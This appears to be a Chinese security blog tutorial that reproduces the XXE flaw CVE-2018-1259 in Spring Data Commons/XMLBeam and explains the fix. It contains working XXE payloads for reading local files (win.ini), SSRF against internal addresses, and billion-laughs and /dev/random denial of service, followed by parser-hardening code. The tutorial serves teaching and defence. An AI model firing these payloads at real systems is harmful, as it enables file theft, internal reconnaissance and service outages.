那些年,怼过的开发(二)——XXE
RabbitMask
?
编辑文章
为什么是第一讲就是XXE漏洞,而不是SQL注入之类的? 基本概念在展开讲XXE之前,有些概念我们必须得了解些基础概念,因为本章重点为XXE,关于XML学习未提到的部分大家可以参照参考资料自我拓展。 XMLXML 指可扩展标记语言(eXtensible Markup Language)。 DTDDTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。 XML基本文档结构<!--XML声明--> <?xml version="1.0" encoding="UTF-8"?> <!--DTD,这部分可选的--> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <!--文档元素--> <foo>&xxe;</foo>
XXE的复现讲到JAVA语言出现的XXE,不得不提今年出现的spring中出现的XXE漏洞【CVE-2018-1259】,今天就拿它来开刀吧。
从官方的描述中我们可以看到,此漏洞主要出现在XMLbeam1.4.14之前的版本,同时要求Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本,经笔者自行测试,目前idea默认选择的spring boot2.1.1版本漏洞已修复,我们可以看到默认的Spring Data Commons版本为2.1.0以上,猜测这个应该是跟着springboot版本号走的。
?
spring boot默认库
?
spring boot 2.1.1数据包报错
?
spring boot 2.1.1调试报错
显然,这是因为spring boot 2.1.1默认禁用了DTD。
?
官方网站
因为开发已经荒废了好久,完全不知道springboot不同版本的各模块区别。最终,给大家提供了一个良好的解决方法,直接修改pom文件,借助maven自动解决依赖问题。
?
配置pom文件
在这里说点经验之谈,我对不同版本进行了尝试,不知道是不是个人原因,我发现版本并没有按照官方提到的那样精确,比如这里如果spring-data-commons采用2.0.6版本, XMLBeam采用1.4.13版本,你会发现DTD依然是被禁止的。所以本次漏洞复现我选择了spring-data-commons2.0.6+ XMLBeam1.4.14的组合。 然后我们在springboot中简单的写个小功能,操作过程打算使用burpsuite复现,那就不写前端页面啦~核心代码如下,用来接收通过XML提交的两个数据:firstname/lastname public interface UserPayload { @XBRead("//firstname") @JsonPath("$..firstname") String getFirstname(); @XBRead("//lastname") @JsonPath("$..lastname") String getLastname(); }
springboot不愧为新一代的懒人框架,简单的调整下入口文件,小程序完美启动~
?
完美启动
我们先来构造一个正常的XML文档~ <?xml version="1.0" encoding="UTF-8"?> <user><firstname>rabbit</firstname><lastname>666</lastname></user>
?
程序正常,over
然后我们来构造一个引用特殊的payload,增加DTD,为了演示效果,我们在C盘下新建一个txt文件。 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "file:///c:/1.txt" > ]> <user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
?
实现访问资源
试着来访问下系统文件: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini" > ]> <user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
?
访问系统文件
XXE的利用这时候,我们不禁要问了,XXE漏洞究竟能用来做什么? 任意文件读取这里,我们就不重复了,说到底,这是XXE最基本的使用方式,我们上面也一直体现了这一点。 SSRFSSRF(Server-Side Request Forgery:服务器端请求伪造),说白了就是借助漏洞实现内网探测,我在80端口的网站下临时放了我们刚刚的测试文件,简单修改下payload: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" > ]> <user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
当然啦,这里的127.0.0.1可以替换成任意你想要的内网地址,我们就可以借此实现对内网的探测。
?
SSRF
DOS攻击看到这里会不会虎躯一震,这丫怎么会?继续看 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]> <foo>&xxe;</foo>
如果 XML 解析器尝试使用 /dev/random 文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。 远程命令执行这种情况很少见,并不是传统意义上的任意命令执行,只是因为环境的特殊配置,导致XML与某些命令操作关联,进而造成了命令执行。当PHP环境中的PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就会造成我们说的这种情况,在这里,我们不做展开。 修复建议:对 XML 解析器进行安全配置,使它不允许将外部实体包含在传入的 XML 文档中。不管是上面语言,抑或是使用了市面是哪种主流XML解析方案,最终的解决方案都可以如此借鉴: factory.setFeature("http://xml.org/sax/features/external-general-entities",false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
如果不需要 inline DOCTYPE 声明,可使用以下属性将其完全禁用,这种方式显然更直接,我们搭建环境中一直在吐槽DTD被禁用,就是这个意思,DOCTYPE被禁,也就禁掉了DTD的根本: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
说到这里你可能会突然提到一个问题,emmmm,那XMLbeam的XXE漏洞是如何修复的呢?
?
配置文件路径
#####1.4.14 public DocumentBuilderFactory createDocumentBuilderFactory() { DocumentBuilderFactory instance = DocumentBuilderFactory.newInstance(); if (!DefaultXMLFactoriesConfig.NamespacePhilosophy.AGNOSTIC.equals(this.namespacePhilosophy)) { instance.setNamespaceAware(DefaultXMLFactoriesConfig.NamespacePhilosophy.HEDONISTIC.equals(this.namespacePhilosophy)); } return instance; }
#####1.4.15 public DocumentBuilderFactory createDocumentBuilderFactory() { DocumentBuilderFactory instance = DocumentBuilderFactory.newInstance(); instance.setXIncludeAware(this.isXIncludeAware); instance.setExpandEntityReferences(this.isExpandEntityReferences); if (!DefaultXMLFactoriesConfig.NamespacePhilosophy.AGNOSTIC.equals(this.namespacePhilosophy)) { instance.setNamespaceAware(DefaultXMLFactoriesConfig.NamespacePhilosophy.HEDONISTIC.equals(this.namespacePhilosophy)); } return instance; }
当然,这里提供了部分封装,无妨,我们去找下官方提供的漏洞补丁,以方便理解,
然后我们在第106行处会看到如下配置,正是我们刚刚提到的解决方案。 private static final String NON_EXISTING_URL = "http://xmlbeam.org/nonexisting_namespace"; private static final String[] FEATURE_DEFAULTS = new String[] { "http://apache.org/xml/features/disallow-doctype-decl#true",// "http://xml.org/sax/features/external-general-entities#false",// "http://xml.org/sax/features/external-parameter-entities#false",// "http://apache.org/xml/features/nonvalidating/load-external-dtd#false" };
写在后面:唉,花了一周的时间复现这个问题,QAQ彻底卸掉了eclipse入坑了idea,从零学期springboot,emmmm,此刻乐的像个200斤的胖子,开心,嘤~
(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
- PostgreSQL启动恢复通过checkpoint open wal文件
- ruby-on-rails – 自定义错误页面 – Ruby on Rails
- react-native – Undefined不是函数(React.findNodehandle)
- 为什么某些变量在flutter自定义类中被标记为final?
- Ajax.Net Professional——A quick guide how to start(Aj
- jquery ajax后台返回list,前台用jquery遍历list的实现
- Atom编辑器折腾记_(23)加快React开发的插件汇总【浪一波】
- UE4学习笔记(20161116) 正则表达式检测输入信息
- c# – IEnumerable ToArray用法 – 它是副本还是指针?
- 使用swift开发Cordova插件